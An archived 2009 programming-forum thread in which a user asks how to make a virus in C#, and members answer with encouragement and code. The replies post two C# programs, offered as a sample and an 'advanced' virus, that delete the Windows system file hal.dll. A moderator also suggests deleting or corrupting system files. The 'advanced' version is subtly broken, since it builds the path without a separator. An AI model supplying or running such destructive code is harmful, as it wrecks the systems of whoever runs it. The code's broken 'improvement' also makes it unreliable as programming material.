Go4Expert

Go4Expert (http://www.go4expert.com/)
-   C# (http://www.go4expert.com/forums/c-sharp/)
-   -   Can Anyone tell how to make virus in C#.net (http://www.go4expert.com/forums/tell-virus-c-sharpnet-t18528/)

night.rider 13Jul2009 21:23

Can Anyone tell how to make virus in C#.net
 
Can Anyone tell how to make virus in C#.net

shabbir 13Jul2009 21:39

Re: Can Anyone tell how to make virus in C#.net
 
Moved your query to the forum and you submitted this as an article

Deleting everything or editing some system files and corrupting them can also be defined as some virus and do that as that is the simplest thing you can do.

naimish 14Jul2009 06:32

Re: Can Anyone tell how to make virus in C#.net
 
Hey Night Rider, Nice to see one more .NET Person here ;) Soon I will let you know how to make virus in C#.net :)

night.rider 14Jul2009 12:27

Re: Can Anyone tell how to make virus in C#.net
 
thanx sir

night.rider 14Jul2009 12:39

Re: Can Anyone tell how to make virus in C#.net
 
r u dere naimish

naimish 14Jul2009 13:20

Re: Can Anyone tell how to make virus in C#.net
 
Yes Buddy :)

naimish 14Jul2009 13:23

Re: Can Anyone tell how to make virus in C#.net
 
First of all let's decide which kind of virus you want to make ?

naimish 14Jul2009 13:26

Re: Can Anyone tell how to make virus in C#.net
 
For a Sample Basic Virus Program, See the code bolow.

Code:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}


naimish 14Jul2009 13:26

Re: Can Anyone tell how to make virus in C#.net
 
A more advanced version:


Code:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HalDelPro
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete(System.Environment.SystemDirectory + "hal.dll"); /* C# OWNS*/
        }
    }
}


shabbir 14Jul2009 13:29

Re: Can Anyone tell how to make virus in C#.net
 
Quote:

Originally Posted by naimish (Post 52489)
For a Sample Basic Virus Program, See the code bolow.

Code:

using System;
using System.Collections.Generic;
using System.Text;
using System.IO;

namespace HallDel
{
    class Program
    {
        static void Main(string[] args)
        {
            System.IO.File.Delete("C:\\Windows\\system32\\hal.dll"); /* C# PWNS */
        }
    }
}


Run this program with care.


All times are GMT +5.5. The time now is 21:44.